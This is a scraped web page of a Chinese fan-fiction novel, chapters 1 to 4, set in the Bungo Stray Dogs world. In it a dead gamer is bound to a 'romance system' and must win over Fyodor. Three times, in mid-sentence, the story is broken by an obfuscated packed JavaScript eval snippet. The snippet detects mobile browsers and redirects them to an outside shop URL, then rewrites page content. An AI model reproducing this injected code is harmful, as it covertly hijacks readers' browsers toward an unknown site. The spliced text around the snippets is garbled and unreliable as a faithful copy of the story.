《这个对象真的非攻略不可吗》 1. 第 1 章 如果在疑似临死前,看见了一只像猫又像兔子,还莫名眼熟的白色生物询问—— ——你的愿望是什么? 要怎么回答? 是喜出望外地选择继续活下去,还是认为这是蛊惑人心的恶魔想要骗你去当奴隶的诡计,从而警惕地周旋? 但,事实却是根本来不及回答。 遭遇这种诡异情况的花言此刻仍处于一种茫然无比的状态,像是还没从这一系列诡异展开里回过神。 在十几分钟前,他还在享受这个美妙的夜晚,用一如既往的好运从心头爱的弹珠游戏所更新的卡池中随手抽出最新的SSR「骸塞」三人组卡牌,然后丝滑地截图发给同好朋友晒晒。 然后理所当然地收获了对方咬牙切齿的诅咒——比如说什么“欧皇寿命极短”,又比如说“这么爱的话就穿进去近距离观察一下啊”之类无能狂怒的话语。 对此花言早已习以为常,甚至还有空嘲笑一下对方口中的穿越过于不符合常理,让对方偶尔也该换换口味看看其他剧情发展,并立下了要是真有这种事,他下次就倒立洗头给对方看的flag。 做完这一切他再次切回了游戏欣赏自己新出炉的卡牌,这是一张罕见的三人卡,选取的背景是在剧场版中涩泽龙彦据点「骸塞」的画面,同样也是太宰治、费奥多尔与涩泽龙彦三人看似成为了合作伙伴,实则各怀鬼胎、来回套娃的一幕。 虽然太宰治在这张卡面上是背后灵一样的存在,游戏建模也只有费奥多尔和涩泽龙彦两个人,但不可否认的是,这张卡面上的图将三人不同的气质与美貌全都展现了出来。 正当他躺在床上想翻个身把这张新卡等级拉满然后带去打关卡试试时,他突然发现了自己手机在充电,数据线不够长,于是他被迫又翻了回来。 但是这样一来又回到了最初的问题——这个姿势不太舒服,长时间维持让他肩膀有点酸,他看了眼已经充到一半的电量,索性拔了的数据线以自己的舒适为主。 然而,在他拔掉数据线刚翻过身的时候,意识突然陷入了昏暗,仿佛他拔掉的不是数据线,而是自己的脑子,当再一次恢复清醒时,就听见有声音问自己愿望是什么。 暂且不提他的愿望是什么,按照现在这种剧情展开——难道他已经死了吗? 可恶啊! 他就知道不能用A果手机,平常就经常看见有人用它的数据线电人造葫芦,这下好了,他被电死了! 这种死法也太丢人了! 这下真被朋友说中了,欧皇寿命果然极短! “不,你还没死,现在是濒死,不过很快就要死了吧。”眼前的白色生物忽然出声,像是从他波动的情绪中读取到了他的想法,饱含暗示意味地提醒,“那么,在临死前,你的愿望是什么呢?” 他的愿望? 花言其实并没有什么愿望,他对于生或者死都没有太大的执念,可硬要说遗憾的话…… 他脑海里闪过自己刚抽到不久还没来得及捂热的三人组卡牌。 “是吗?这就是你的愿望吗?”那只白色生物像是已经听到了什么,语气里带有些许恍然,“只要跟我签订契约,我就会实现你的愿望哦。” “嘛……总之你已经提出愿望了,在这种情况也没得选了吧……” “来,接受你的……” “咦?奇怪……你……” 在这种熟悉的声音、熟悉的白色生物、熟悉的话术完全集齐的瞬间,花言猛然意识到了对方是个什么东西。 他无暇顾及对方最后一句像是看见了什么匪夷所思之物的疑问是怎么回事,相比之下,他对即将到来的事情更加在意。 但是似乎已经来不及了,失重感猛地袭来,宛如轻盈飘浮在天际的云被灌入沉重的铅坠回地面。 原本一片漆黑的视野忽然亮了起来,雪白的强光刺目,从光线两极转换让眼睛一时之间没能反应过来,只能看见一片雪白。 等…… 等一下! 不是说这种契约只能跟少女签订吗?他都已经是个成年人了,还是个男性啊! 让他当魔法少女的这种发展难不成是…… “不……不要!” 他不要穿粉红小裙子成为魔法女装大佬啊! 巨大的恐慌之下花言下意识地伸出手,他慌不择路地在想要失重感中抓住什么,好让他回到许愿的那一刻说自己没有心愿想去死,但是却失败了。 背部猛地撞上了什么硬物,同时好像也踹到了什么东西,耳边率先传来金属物品掉落在地发出的清脆声响,眼前一片雪白的光芒终于消散,模糊的视野逐渐清晰。 仅一眼,他再次眼前一黑,有什么比当魔法女装大佬更恐怖的事情吗? 有,在满是异能者的横滨当魔法女装大佬。 冷色调的光芒从大厅顶端洒落,将整个厅堂映衬成一片圣洁的白,不远处的彩窗玻璃轻微折射出的炫彩光点也一同被纯白吞噬。 视野转近,映入眼帘的是一张苍白憔悴又带有些许异国气息的脸庞,乌黑的发梢垂落在脸颊两侧,雪白毛绒的衣物承托得对方身上那股病弱感更加明显,而当对方抬起眼眸时,露出的那双犹如星云般深邃神秘的紫罗兰色眼眸又恰到好处地中和了这抹孱弱,以至于让对方身上所展露出的一切信息都变得诡谲不定了起来。 花言认识这张脸,倒不如说他熟悉得很,熟悉到在前几分钟他还在放大欣赏对方在卡面上凹出的姿势。 也正因看见了对方熟悉装扮,他才能意识到自己究竟是到了什么地方。 他从高处坠落时是背部先传来触感与紧随其后的阵痛,因此他现在的姿势是仰面倒在实物上的,再加上他小腿以下仍旧传来的失重感,以及他视野里被放大的面容。 他的具体降落位置也很好猜。 他绝对是掉在正中央的桌子上了,还好巧不巧地正好跟那张「骸塞」三人组中最具有危险性的费奥多尔四目相对。 看着那双眼眸中一闪而逝的疑惑,花言忽然平静了下来,就像是遭遇了连环车祸,已经糟的不能再糟了,索性蹲在路边看到底能被撞多少下一样的平静。 果然,因为他一直以来运气都超级好,所以现在彻底反弹了才会遇到这么多糟糕的事情。 花言一言不发地撑起身体从桌子上下来,随后又十分有礼貌地捡起了地上被他踹下去的银质盘子以及滚落一地的苹果。 在抬眼准备将果盘放回桌上时,他忽然意识到这三人似乎都距离桌子有些距离,比原本印象中看见的要远很多…… 花言看了眼桌子的大小,忽然得出了答案。 哦,原来是怕被他掉下来时的动作误伤吗? 这个地方他果然是一秒都待不下去了。 花言深吸口气,赶在这三人之中有人想要开口之前把果盘放了回去,紧接着极速逃离了现场。 这段发展在花言眼中被无限拉长,但对于太宰治他们来说这一切都只是在短短一瞬间内发生的。 在他们还在相 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14289212|152070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 互虚与委蛇时,忽然有道黑影从上空坠落到了桌子上,要不是对方坠下来时喊了句什么,他们都不一定能够发现对方的存在并及时地避免自己遭到波及。 当那道黑影彻底坠落在桌面,他们才看清对方似乎是一个刚成年的青年,甚至对这一切变故都猝不及防,身上还穿着可爱到有几分幼稚的小熊睡衣。 由于视角关系,太宰治和涩泽龙彦没能第一时间看见对方的面容,只能看见那一头蓬松乱翘的黑发,费奥多尔倒是跟对方对视了一瞬间,但在对方起身的那一刻视线也跟太宰治他们一样,从局部变成了整体的打量与揣摩。 他们一边观察着彼此的神色,一边警惕着那名青年的动作,心底揣测着这位“不速之客”会是谁的邀请者。 三个人的交锋要比两个人的更加复杂,一时之间他们谁都没有开口试探那名青年,也正是因为这一瞬间的谨慎,才让那名黑发褐眸青年捡好苹果放回桌面飞速离去。 这整个过程甚至没有超过五分钟。 直到那道身影消失在视线中,他们才重新收回视线。 “他也是你邀请的客人吗?”太宰治首先朝涩泽龙彦发问。 无论发现了什么样的线索、推测出了怎样的推论,先向组织发起者发出询问是再理所当然不过的事情。 “不是,”涩泽龙彦还是那一副对什么都索然无味的样子,他已经从那名青年的举动中看出了对方对他的计划毫无威胁的事实,“我还在想会不会是你们之中谁邀请的客人呢。” “既然我们都不认识,那就只有……”太宰治怀疑的目光看向了费奥多尔。 后者很清楚对方未说出口的话,他率先否定,“我可不会干这种毫无意义的事情哦,太宰君。” “也是,”太宰治若有所思地点头,旋即又像是想起了什么一样,“说起来,他掉下来的时候第一时间是跟你对视的吧?你有发现什么吗?” 太宰治和涩泽龙彦虽然在那名青年起身时看见了对方的面容,但对方所展露出的神色却已经变得一片平静,像是无论发生什么事情都不会再让他产生波动的那种死寂感,因此他们在搜寻脑海发现自己确实没有见过对方的同时也失去了能够观察到对方身份的便捷途径。 能够获取信息的最好时机只有对方从高空坠落在桌面的那一瞬间。 费奥多尔唇边的弧度毫无变化,“什么都没有,他看起来就像是一个在与异能抗争时误入这里的异能者。” 实际上并不是。 费奥多尔很清楚地捕捉到了对方看清自己时眼眸中浮现出的惊愕与不知从何而起的绝望,这种反应就像是对方认识自己……不,很了解自己一样。 但从太宰治和涩泽龙彦的反应来看,又像是真的不认识这名青年…… “是吗?”太宰治模棱两可地回应了一句。 不可否认,确实有费奥多尔所说的那种可能,毕竟现在的横滨混乱无比,所有异能者的异能都被涩泽龙彦的异能剥离并反过来追杀异能者,因此如果那名青年是空间系异能者,会发生被想要杀死自己的异能传送到高处想要摔死的事情也很正常。 不过真的就这么巧吗?刚好传送到他们所在的位置?还不偏不倚地砸在了正中央的桌子上? 他不相信对方什么都没发现。 只不过想让对方说出来也不是件简单的事,来日方长,相比之下,还是眼下更加重要。 三人心照不宣地略过了这个小插曲,将注意力重新集中在即将到来的事情上。 2. 第 2 章 花言在那栋近乎是废墟的建筑里好不容易才找到了出去的路。 他或许该庆幸那三人没有追问自己什么,也都没有带下属来「骸塞」,否则他现在肯定已经撞见那些人的下属,然后被当做可疑人员抓起来了。 横滨此刻正值夜晚,雪白的雾气犹如实质般丝丝缕缕地盘踞在这座城市的每一个角落。 漆黑的夜晚加上厚重的白雾,让本就受阻的视野更加雪上加霜,远处的白雾里似乎裹挟着若有若无的幽幽绿光,寂静放大了一切声响,让人无端感到些许不详。 这座城市宛如已经被废弃般,到处都充斥着战斗后留下的疮痍,街道上的路灯坍塌在地,路两边的商场展示柜被打碎后散落的碎玻璃躺了一地。 花言专注地看着眼前的地面,他死前正准备打完游戏睡觉,因此不仅穿的是睡衣,同样也没有穿鞋,他踮着脚艰难地在碎玻璃中穿梭。 现在这种情况如果一不小心踩到碎玻璃行动受阻了,会是一件相当麻烦的事。 说起来,他当时看见的那只问他愿望想要跟他签订契约的雪白生物,应该是到处诓骗少女签订契约当魔法少女的丘比吧? 虽然他不知道对方究竟从自己这里得知道了什么样的愿望,不过从现在这种发展来看,难不成对方是误以为自己的愿望是想要再多看看「骸塞」三人组,所以才把自己丢过来了? 这种事是能够发生的吗?这是不是有点世界观大杂烩了? 花言一边摸索着走远点,避免一会剧情发展到中原中也打异能组成的龙时会波及到自己,一边思考丘比能跨世界壁实现愿望这件事的合理性。 果然无论怎么想,还是自己被A果数据线电死见到了丘比更加邪门。 如果他现在还能够联系上以前那些朋友的话,他肯定要告诉他们不用再找压路机通往二次元入口了,A果数据线也可以…… ……不对。 花言走到半路忽然想到了一件很严肃的事情,他站在路灯下开始翻找自己所有的口袋。 但找了半天都没有找到任何多出的东西。 不对劲!他的灵魂宝石呢?! 签订契约后不是都会有个灵魂宝石来收纳被抽取的灵魂用于控制身体吗? 他的灵魂宝石去哪了? 难不成是刚刚掉在「骸塞」里了? 花言狐疑地回头看向那栋近乎淹没在白雾中的建筑,又在下一秒划去了这个可能。 应该不是,灵魂宝石离身体不能超过一百米,否则就会失去对身体的控制,现在他早就已经离「骸塞」百米远了,如果掉在了「骸塞」里,他应该走到半路就失去了意识才对…… 难不成…… 是因为这个世界有异能的原因,把魔法少女的力量判断成异能,以至于现在在涩泽龙彦的白雾里被剥离了? 所以原来这是可以被异能剥离的吗? 花言更迷茫了。 还是说,他其实没成魔法女装大佬,丘比最后那句“奇怪”是因为发现没法跟他签订契约才说的? 可如果是这样,他一个没有异能的普通人为什么能够进涩泽龙彦的白雾?这不是针对异能者的特殊领域吗? 想不通。 用脑过度让他后脑勺传来隐隐约约的刺痛。 世上无难事,只要肯放弃。 事已至此,先找个离「骸塞」最远的地方睡觉吧。 他在来这个世界前就已经通宵好几天了,再不睡他总觉得自己马上就要迎来第二次死亡。 如果他成功签订了契约,那分离出来的东西不知道是魔法女装大佬,还是直接变成了绝望的诅咒合集。如果是前者,他觉得满怀希望的魔法女装大佬应该不会杀人,如果是后者,那他觉得对方应该是无差别攻击的,横滨其他人应该会比他更危险。 而如果他真的是异能者,他现在这种后脑勺抽痛、脚步虚浮的状态肯定也打不过自己的异能。 在接连遭遇了这么多匪夷所思的事情后,花言不由得产生了一种彻底死了说不准都比现在的地狱开局更好的想法。 他在距离「骸塞」较远的地方找到了个空无一人的房子。 房子的门没有上锁,在涩泽龙彦的白雾里整个横滨都像是一比一被复刻,并停滞在了某个时间段一样,他就近躺在了客厅里的沙发上打算凑合一下。 哪怕这间房子现在没人,也不能保证涩泽龙彦白雾消失两个空间重叠后,这间房子也会没人,他可不想出现自己会跟屋主睡在一张床的情况,那也太冒昧了。 花言躺在布制沙发上,困倦地打了个哈欠,合起眼眸缓缓坠入梦乡。 再一次恢复意识是被一阵震动吵醒的。 他平静地望着天花板,睡眠不足让他现在太阳穴也开始抽痛了。 天花板中镶嵌的水晶吊灯不断地摇晃,发出清脆的碰撞声,显得整个房间都摇摇欲坠,窗外映射进灼热明亮的光芒。 花言出门看了眼,发现光源在靠近「骸塞」的地方。 他了然。 这或许是中原中也已经打完龙了。 接下来轮到中岛敦打涩泽龙彦,打完之后白雾就会消失了。 等白雾消失,他就可以开启横滨流浪汉生涯了。 不知道横滨会不会抓影响市容的流浪汉去挖矿。 为了以防万一,他打算去擂钵街,在那里当流浪汉应该不会有人抓,顶多会被打,但他相信人的潜力是无限的,只要挨的打多了,后面就是他打别人了。 唯一的问题是他不清楚擂钵街的具体位置,原著没有明确说过这一点。 总之先往靠海的方向走。 眼前白雾厚重的近乎看不清路,花言只能依照感觉朝湿气最重的方向走。 周围的雾气伴随着时间的推移逐渐往暗红色转换,这意味着涩泽龙彦已经取代那条异能组成的龙成为了新的特异点。 感官被雾气干扰,反馈回来的所有感知都在寂静与朦胧中变得迟钝。 花言不知道自己走了多久,要不是皮肤感知到的湿气越来越重,他都要开始怀疑自己是不是走错了方向实际上在原地打转。 横滨有这么大吗? 他该不会已经走到海边来了吧? 花言逐渐不确定了起来。 就在此刻周围暗红的雾气骤然消散,降临的喧嚣与天际绽放出的晨曦驱散了死寂,花言心中的疑惑也得到了答案。 他确实没有走到海边。 映入眼帘的是一条波光粼粼的河流,而他就站在距离河边草坪坡的一步之遥处,差一步他就会因为毫无防备地踩到草坪坡而失去平衡滑向河里。 雾气消散的恰到好处,巧的简直就像是因为感知到花言即将陷入危险,所以把视野重新还给了对方一样。 对于这种巧合,花言倒是习以为常,运气一向是无法用常理解释的东西。 这看起来他的幸运好像还没有消失。 毕竟哪怕没有顺利走到擂钵街,好歹也在白雾里毫发无损地活下来了,而且身上也没有多出奇怪的东西…… 【叮!】 花言脑海里突然响起了一声类似于数据接口连接上时所发出的提示声响,紧随其后的是听不出男女的电子音。 【您好,初次见面,您可以把我当做普遍穿越剧情中都会出现的系统,而您就是我选中的宿主。】 这个系统是有延迟吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14289213|152070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都过去一晚上了才出来。 看起来好像不太高科技也不太靠谱的样子…… 仅第一面,花言就对这个系统产生了深深的质疑。 【并没有延迟,这只是为了保险起见。】 系统像是能够直接读取到花言的思维,认真解释道。 【只有灵魂才能够承受住降维的过程进入这个世界,您可以把灵魂看成是一团纯粹的能量,降维是剔除这团能量中不贴合这个世界的东西,在降维过后我需要按照您原本世界身体的数据为您在这个世界重新构建身体。】 【而作为降维补偿,构建身体时通常都会将宿主原本世界最为熟悉精通的东西提升至极致,不过宿主您所熟悉精通的东西有些特殊,再加上构建身体是一个十分精密的过程,以及当下环境的不稳定性,所以我会现在才出现。】 花言沉默了几秒,尝试从这一大堆话中提取到言简意赅的关键词,但怎么思考都觉得这番说辞有点遮掩什么的意味。 他干脆利落地放弃思考,认真地探讨起了另一件事情,[你直接读取我的思维,这算不算是侵犯隐私?] 【抱歉,我只是想更快、更便捷地了解您,如果您不希望我读取您的思维,以后我会关闭这个权限。】系统相当有诚意地迅速道歉了。 [我不接受自己思维会被窥探,希望你能关了这个权限。然后……]花言话题再次回到了最初,[能不能把刚刚那番话说的更明白些?] 系统也很干脆利落,【我怕一不小心也变成你异能的一环。】 花言:…… 异能说白了就是某种异于普通人的能力吧?难道对方现在这样就不是他异能里的一环了? 不过这样来看,原来他有其他更朴实一些的异能吗? 他的异能该不会就是那份被降维了的补偿吧?毕竟这个世界拥有异能这样的设定,提升到极致的这个“极致”也不能用原本世界的极致去衡量,在某种程度上来说,确实可以变成他的异能。 那么,他原本世界最为熟悉精通的东西是什么? 花言绞尽脑汁认真回想了一下,发现自己好像没有什么最为熟悉精通的东西,硬要说的话……大概只有特别擅长一键转发吧…… [难道是一键转发吗……?] 花言忽然沉默了,这种能力提升到极致能是什么异能啊…… 总觉得会是个槽点很多的异能…… 原本也注意到异能问题、在思考自己这样究竟算不算是花言异能中一环的系统闻言,先是肯定了对方的猜测,随后说明,【您擅长的东西确实是很棘手,为了避免出现宿主您异能构建的过弱或过强——威胁到您自身安全或这个世界的安全,我筛选出了您最经常玩的游戏,利用这一点与你最擅长干的事情相结合,为您构造了异能投放进了您的新身体中。】 【您最经常玩的游戏是一款弹珠游戏,同样也是基于这个世界衍生出的游戏,您应该知道我指的是什么,毕竟您死前还在抽它的卡池,然后你最擅长干的事是一键转发。】 系统说到这里微微停顿了片刻,用稍微不那么复杂的话语表述。 【因此,这两个结合起来,您的异能是——能够使用那款游戏中的所有东西,包括解锁的建筑、收集的人物卡、人物卡中的人物设定异能、所有活动所得到收集的物品……其中您账号所拥有的,您都可以使用。】 花言开始觉得这个描述有点耳熟了,[再简洁一点就是……] 【复制黏贴。】系统如对方所愿简明扼要了许多。 花言:…… 果然。 他的异能返璞归真成人类本质了。 这是不是有点太朴实了。 3. 第 3 章 虽然只能复制黏贴游戏里有的东西,但是…… 花言有些不确定,[你确定这个异能没有过强吗?] 【确定。】系统信誓旦旦地保证。 原本对方最擅长的事情就是“一键转发”,“一键转发”本质上等同于“复制黏贴”,如果将这个提升至极致给对方极有可能会造成这个世界能量的失衡,因此融合弹珠游戏是为了限制这个“复制黏贴”词汇的概念。 这已经是限制过后的异能了。 花言缓缓眨了眨眼睛,刚想将信将疑地放心,又很快意识到了不对劲。 世界上没有免费的午餐,既然对方把自己带到了这个世界,又如此确信这个异能没有强的超标,这只能证明一件事。 ——对方要自己去做的事情难度很高,并且十分危险。 他脑海里快速回想了一遍属于这个世界片场的标签,包括但不限于什么——热血、战斗、智斗、腹黑、异能、推理、西幻、悬疑…… 是的,以上都是在随着这个片场的剧情发展所一直变换的标签。 所以这个系统会是什么类型的系统?又需要他做些什么? [你需要我做些什么?你是升级流的龙傲天系统,需要我扮猪吃老虎一路打路人甲的脸成为孤独求败的超级大佬?还是热血无比的救世主系统,需要我寻找伙伴一起变强,然后一路喊着友情啊羁绊啊去拯救世界?] 这两个好像都很有难度,也都很让人心潮澎湃,如果是这样的话,也不是他不可以努力一下…… 很快,系统冰冷的电子音推翻了花言所有的猜测,也浇灭了花言好不容易燃起来的斗志。 【以上都不是,您可以把我当做一个普通的攻略系统。】 花言:……? 哈? 花言的眼神再次灰暗了。 [难道我原来是被高维世界人贩子绑架了吗……] 系统的电子音模拟出了些许不解,【请不要说的那么难听,我本来以为您会在听见我不是魔法少女系统时而高兴的,毕竟您之前不是一直在担心这个吗?】 不用当魔法少男他确实是很高兴,但是…… 他一直都相信等价交换原则,哪怕他一直以来都十分幸运也一样,若非如此,在突然死亡遇见这一系列情况时,他也不会如此平静,他早就做好了面对一切不幸的准备。 可如果只是为了攻略某个人,而给了他这种异能,又大费周章地把他降维带过来,这只能证明需要他去攻略的那个人肯定相当棘手,甚至说不准一不留神就会死。 花言已经有了猜想,他无力地轻轻叹了口气,还是抱有侥幸心理地询问了一遍,[那么,是谁呢?] 系统的语气不知为何透着些许像是因为什么而感到高兴的轻快,【您见过的。】 花言心中最糟糕的猜想还是发生了。 只听系统接着出声,【是费奥多尔·米哈伊洛维奇·陀思妥耶夫斯基。】 确实是危险程度最高的那一个。 花言只觉得自己后脑勺又开始痛起来了,像是被谁闷了一棍子,连带着眼前都开始发黑。 他没能忍住从心底产生了深深的质疑。 事实上他想忍也忍不了,毕竟这个系统看上去有能够读取到他想法的能力。 [其实你就是丘比吧?只是业务能力进化了,现在在扮演魔法少女系统,这一切都是你自导自演出的阴谋。你跟我缔结了契约,发现我是个男的,还是个成年人,没办法从我身上收集到多少能量,所以用这种方法想让我先获得希望然后再陷入彻底的绝望。] 【为什么您会这么想?】系统实心实意地疑惑了。 花言冷漠地回复,[因为像你们这种攻略系统绑定宿主后大部分的发展都是这样,从各种意想不到的角度收集一些莫名的能量,更别提你让我去攻略的对象根本不可能攻略的下来。] 【我以为您会高兴的。】 系统再一次预估错了自己宿主的反应。 【毕竟从游戏内的数据来看,您使用次数最多的人物卡就是费奥多尔,并且您也只获得了他的最高称号,甚至就连在丘比询问您愿望的时候,您脑海里闪过的也是他的身影,种种数据都表明您很喜欢他才对。】 [这个有点草率,]花言眼睛都不眨地否决,[万一我只是单纯喜欢用他这些卡牌的技能去过关卡呢?] 【这不可能,因为经过数据分析,这款弹珠游戏大部分关卡都十分简单,而且属于费奥多尔的卡牌技能全部都是类似于加成一样的存在,经过权衡,加成技能不如直接造成伤害来得更加方便,更重要的是——宿主您并不是喜欢策略的那一类。】 系统言之有据地分析得十分透彻。 花言:…… [好吧,]花言不甘心地继续挣扎,试图把任务难度降低,[不过爱这种东西是会转移的,我觉得我现在喜欢西格玛和中岛敦了,能帮我换一下吗?] 【宿主,您知道西格玛虽然是成年人的外表,但实际上才诞生了三年吧?】 这下轮到系统发出质疑了,【中岛敦确实是成年了,同时他也是热血日漫男主角,热血日漫男主角的常态配置……您应该也知道吧?】 花言闻言缓缓坐在了斜坡草坪上,然后抱住了头,陷入了长久的沉默。 沉默的时间长到让系统不由得开始分析是不是自己判断错了,对方确实不喜欢费奥多尔,并且这一连串的遭遇让对方崩溃了时。 只听对方忽然叫起来了。 “唔啊啊啊!” 在意义不明的惨叫后,花言终于抬起了头,“诶?现在是什么时间了?” 系统:……? 没等系统回答,花言又自答道:“是第二季后,第三季前的时间段。” 花言再次沉默了下去,随后沉重而忧愁地长叹一声。 系统被对方奇怪到有些诡异的反应弄得有些迷茫,【这个时间段有什么特殊的吗?】 [这个时间主角团的配置已经齐全也稳定了,]花言表情看似苦恼,实则在委婉地暗示着系统,[但是正是因为这样,难度才直线上升了,我觉得我得到的异能刚好能够应付这个难度的任务。] 虽然根据数据分析,西格玛和中岛敦是所有对象中最单纯,也最好相处的那一类,也确实不可否认现在中岛敦的攻略难度上升了,但是……系统仍旧不觉得对方得到的异能只是能够刚好应付这个任务。 对方所得到的一切能力都是以攻略费奥多尔为目标而计算出的准确结果,不存在难度太大之类的一说。 更何况…… 系统无法想象那会是何等混乱的一场情感拉扯剧,不由得提醒,【宿主,已经确定好的是不能更改的。】 花言安静了一会儿,旋即提出了一个灵魂质问,[好吧,不过你要知道,这对我来说只是一个攻略任务,我也不介意对方是个什么样的人,可费奥多尔呢?他可是俄罗斯人,万一他恐同怎么办?] 系统:…… 显然系统也没想到这个问题,它半天没出声,当花言开始怀疑对方是不是短路了的时候,只听对方的电子音再次响起。 【没事的,宿主,只要您攻略的好,我相信爱可以跨越一切阻碍。】 这是什么回答? 简直就像是小公司黑心老板对拿着月薪两千的下属说“去,你去给我创造个软件干掉T迅”一样离谱且不负责。 花言表情再次冷漠了下来,灰暗地接受了现实,[如果我没攻略下来会有什么后果吗?] 系统没有立刻回答,像是在思考,【没什么后果,只不过如果是这样,那您或许需要跟我绑定一辈子,我会一直在您脑海中盯着您,到您死为止。】 好阴湿的系统。 花言开始怀疑自己后脑勺老是痛会不会是因为这个系统太阴湿,让他脑袋得风湿了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14289214|152070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他伸手捂着后脑勺,试图让脑子热一点,[好吧,即使我觉得没有这种可能——假设我完成了这个任务,我能得到什么?] 【得到一个愿望成真的机会。】系统说着又顿了顿,似乎是从对方神色与动作中察觉到了对方在脑海中觉得它阴湿的想法,不满地解释,【另外,宿主,您的后脑勺痛跟我没关系,这是因为您是猝死的原因。】 [什么?!] 花言大惊失色。 [原来我是猝死的?不是被A果数据线电死的吗?!] 亏他还在思考如果有机会一定要通知他的那些朋友不要买A果,没想到居然冤枉了人家! 【宿主,被电死的概率很小的,更别提您运气很好,所以这种小概率倒霉事件不会发生在您身上。】系统开始觉得自己这个宿主实在是让人有些费解,【另外您不用担心您的那些朋友,他们现在正围着您的尸体忙得不可开交。】 围着他的尸体忙得不可开交?? 花言无端联想到什么黑暗的祭祀招魂场面,他热泪盈眶,[难道他们也在想办法,试图招魂,让我回去?] 【不,不是招魂,两个世界之间流速不同,因此您的尸体在被朋友发现后已经送去火化了,现在他们正为了您之前说过的——谁在您死后能够做出炫酷的翻盖骨灰流麻,谁就能继承您的所有遗产,而各显神通。】 系统又补充了一句,【确切来说,是为了您的那些所有稀有绝版道具都能收集齐的游戏账号。】 花言:…… 好好好…… 花言深吸一口气,[最后一个问题,既然你说我很幸运,那为什么我会猝死,你又为什么会选中我?] 这一次系统没有再详细无比地为他解释,而是模棱两可近乎重复般,【因为您很幸运。】 花言知道对方这句话的意思,也许在系统看来被选中是一件幸运的事情,毕竟这个词汇十分主观…… 但是…… 他真的很幸运吗? 为什么他总觉得自己现在很倒霉? 如果他是幸运的,难不成是这个系统自带什么倒霉buff连累到了他?把他害倒霉了? [我觉得如果是幸运的话,]花言有些委婉地暗示,[我猜你在找狛枝凪斗?] 好歹对方跟这个世界都处于同一个维度,这不比系统跨维度带他来要好? 系统毫不犹豫地否决了对方裹挟着暗示的猜测,【不一样,我的目标就是不同维度的灵魂。】 这是什么解释……简直就像是“遇见我是你倒霉”一样蛮不讲理。 花言没有再开口了,他像是接受了这个事实。 半晌,从草地上直起背脊,以一种悠远的目光看向远方路边的路边石,[既然如此,为了纪念我的新一段人生,我想给我们彼此都起一个新名字,我也不能一直叫你系统,这样太冷漠了。] 【您想……起什么名字呢?】系统像是有些受宠若惊,连无机质的电子音都放轻了些许。 [我们要入乡随俗,我觉得马路牙子很适合你,至于我……你以后就喊我花岗岩子吧!]花言干脆利落地做出了决定。 系统搜遍了所有资料库也没判断出为什么对方要起这两个奇怪的名字,虚心请教,【这两个名字有什么特殊寓意吗?】 花言一本正经地解释,[你不觉得这两个名字很有深意吗?你看,我叫花言,花岗岩(言)子是不是谐音?这个名字直接从我原名上衍生,任谁也想不到里面有两个字是我名字,而马路牙子跟花岗岩子类似于同一种材质,有异曲同工之妙,也彰显了我们即将诞生出的坚不可摧的羁绊。] 系统恍然大悟,【原来是这样。】 花言见对方真的信了,瞬间变脸,并恶毒地攻击对方,[不,其实是假的,只不过是我看见马路牙子想起来的冷笑话罢了,没想到高维人工智能居然听不懂冷笑话。] 系统:…… 4. 第 4 章 花言目光平静地望向河面,清澈的水面波光粼粼地倒映出明媚的晨曦,仿佛在雾中发生的一切都只是黄粱一梦。 [你知道攻略最重要的第一步是什么吗?] 【是什么?】系统对于人类情感方面确实不太了解。 [是第一印象啊!而我给他们留下的印象是什么?穿着幼稚小熊睡衣从天而降一脚踹飞他们水果盘的怪人!] 提起这个花言就有些崩溃和绝望,[你到底为什么把我的位置降落在那里啊!是为了让我绝望吗?!] 系统沉默了。 它有些想继续说以为对方会开心,但是经过分析,这个时候说出来,对方肯定会更崩溃,种种权衡下,还是不说比较好。 [你能回档的吧?]花言抱着些许冀望询问,[通常攻略系统都有这个的,对吧?] 既然没办法改变要完成任务的事实,那就只能改变一下糟糕至极的开局了。 然而回答他的却是冰冷的两个字。 【没有。】 系统如此说道,说完似乎是觉得这样确实太过于不负责任,它又补充,【但是我可以帮您改变形象,您可以借此变得让他们认不出来。】 听见这句话,原本想着要不然就这样跟系统互相折磨过完流浪汉一生的花言又重新燃起了希望。 [太好了!事不宜迟,先给我来一头飘逸顺滑的白发吧!] 系统不是很懂对方的要求,但是它仍旧按对方的要求换了。 感受到脑后一沉的花言坐在草坪坡上滑到了河边,迫不及待地想要通过河面一窥自己秀丽的白毛。 河面上影影绰绰地倒映出一张因常年不见阳光而白到近乎有些病态的俊美脸庞,一缕缕白丝伴随着动作垂落到身前,不知是不是他刚猝死的原因,总之一片白显得他更憔悴了。 花言忽略了不重要的面色,他捧着自己如瀑布般垂落在地的华贵白发,声音有些颤抖,“真是白毛……” 